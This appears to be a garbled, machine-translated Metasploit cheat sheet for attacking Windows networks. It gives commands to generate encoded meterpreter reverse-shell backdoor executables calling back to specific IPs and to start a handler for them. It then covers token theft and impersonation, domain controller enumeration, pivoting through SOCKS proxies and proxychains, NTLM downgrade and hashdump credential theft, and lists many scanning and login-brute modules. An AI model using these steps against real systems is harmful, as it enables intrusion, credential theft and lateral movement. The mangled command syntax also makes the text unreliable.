rebound shell, here are two kinds of payload:windows/meterpreter/reverse_tcpwindows/meterpreter/reverse_https windows/meterpreter/reverse_http generate rebound Backdoor: Msfpayload windows/meterpreter/reverse_tcp lhost=192.168.1.1lport=443R | \msfencode–b "-T Exe-o root/desktop/sx.exemsfpayload Windows/meterpreter/reverse_tcp lhost=202.96.1.135lport=443T: Msfencode-e x86/shikata_ga_nai-c5-T exe >/root/share/Msf.exe Setting up monitoring: MSF> Use exploit/multi/handlermsf Exploit (handler)>SetPAYLOAD windows/meterpreter/reverse_tcpmsf Exploit (handler)>SetLhost183.11.80.233MSF exploit (handler)>SetLport443MSF exploit (handler)>exploit migration to stable process: PS//View Host Process PIDMigrate PID//migrating to the specified process IDimpersonate a host logged in User: use Incognito//load Incognito function (used to steal the target host's token or impersonate the user)List_tokens-u//list available tokens for target host usersList_tokens-g//list available tokens for the target host user groupImpersonate_token Domain_name\\username//impersonate an available token on the target hostSteal_token PID//steals available tokens for a given process and makes token impersonationDrop_token//Take the current tokenView Network segment: Ifconfig View domain control: Meterpreter> Run post/windows/gather/enum_domain[+] FOUND domain:dis9 (domain) [+] FOUND Domain controller:dis9team-domain (IP:1.1.1.10) (Domain-controlled IP) View network interface: Meterpreter>Routemeterpreter>Run Get_local_subnets (Meterpreter>background Background Run session) Add route to Local: MSF exploit (handler)> Route Add192.168.15.0 255.255.255.0 1(1 for session ID) MSF exploit (handler)>Route print (list route) Open Socks Agent: MSF exploit (handler)> Use auxiliary/server/SOCKS4AMSF Auxiliary (SOCKS4A)>exploit using Proxychains connection agent: Edit Proxychains.conf:sudo gedit/etc/proxychains.conf Connection agent: Proxychains NC-vv192.168.15.100 445agent using Nmap:proxychains nmap-st-pn192.168.1.108Here you can see that Nmap is working properly. If you don't add-st parameter or other scanning method will make an error such as-SS etc. Saying this question bothered me for a long time, Google has found Proxychains allows Tcpand DNS tunneling through proxies. Be aware this proxychains only tunnels tcpand DNS; inchOther words, avoidusingUDP and host discovering through ICMP (ping). You can sweep the TCP null connection in section C before you run Nmap here, and then you can use NMAP for TCP null-link scanning. This allows for camouflage work, which is the module. (Please show options or info for specific usage) auxiliary/scanner/ip/Ipidseq then used in Nmap-SI Parameter Select idle host Nmap-st-pn-a-si192.168.1.101 192.168.1.108-st TCP Scan,-PN does not perform ping,-a to display more detailed information.-SI Specifies the idle host//////////////////////////////////////////////////////////////Get hash module: use OST/windows/manage/Netlm_downgrade (Multi-user can incognito switch users to get hash of different users) MSF post (Netlm_downgrade)>SetSession1MSF post (netlm_downgrade)>SetSmbhost192.168.1.2MSF post (netlm_downgrade)>Run||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||Use post/windows/gather/Hashdump (can get all user hash) MSF post (hashdump)>SetSESSION1MSF post (hashdump)>exploitmsf Post (hashdump)>creds (View the hash stored in the database)/////////////////////////////////////////////////////////////////////////////////////////////////////////// ////Metaspliot Common probing Service module: Port scan Auxiliary/scanner/Portscanscanner/portscan/Ack ACK Firewall scan scanner/portscan/ftpbounce FTP Hop port scan scanner/portscan/syn SYN port scan scanner/portscan/TCP TCP port scan scanner/portscan/xmas TCP"XMas"port scan SMB scan SMB Enumeration auxiliary/scanner/smb/smb_enumusers return DCERPC information auxiliary/scanner/smb/pipe_dcerpc_auditor Scan SMB2 Protocol auxiliary/scanner/smb/SMB2 scanning SMB shared files auxiliary/scanner/smb/Smb_enumshares Enumerating User auxiliary on the system/scanner/smb/SMB_ENUMUSERSSMB Login Auxiliary/scanner/smb/SMB_LOGINSMB Login Use Windows/smb/User Auxiliary for PsExec Scan Group/scanner/smb/SMB_LOOKUPSID Scan System version Auxiliary/scanner/smb/smb_versionmssql Scan (port tcp1433udp1434) Admin/mssql/Mssql_enum MSSQL Enumeration Admin/mssql/mssql_exec MSSQL Executive Command admin/mssql/mssql_sql MSSQL Query Scanner/mssql/mssql_login MSSQL Landing tool scanner/mssql/mssql_ping Testing the existence and information of MSSQL there is also a mssql_payload module that leverages SMTP enumeration using SMTP scanning auxiliary/scanner/smtp/smtp_enum Scanning SMTP version auxiliary/scanner/smtp/SMTP_VERSIONSNMP scan via SNMP scan device auxiliary/scanner/snmp/communityssh Scan SSH Login Auxiliary/scanner/ssh/SSH_LOGINSSH Public key authentication login auxiliary/scanner/ssh/ssh_login_pubkey Scan SSH version test auxiliary/scanner/ssh/ssh_versiontelnet Scan Telnet login auxiliary/scanner/telnet/telnet_login Scan telnet version auxiliary/scanner/telnet/telnet_versiontftp Scan for TFTP files auxiliary/scanner/tftp/tftpbruteftp version Scan scanner/ftp/ANONYMOUSARP Scan Auxiliary/scanner/discovery/arp_sweep scanning the UDP service host auxiliary/scanner/discovery/udp_probe detection of commonly used UDP services auxiliary/scanner/discovery/udp_sweepsniffer Password Auxiliary/sniffer/PSNUFFLESNMP Scan Scanner/snmp/COMMUNITYVNC Scan non-certified scan scanner/vnc/vnc_none_auth
Metasploit using Modules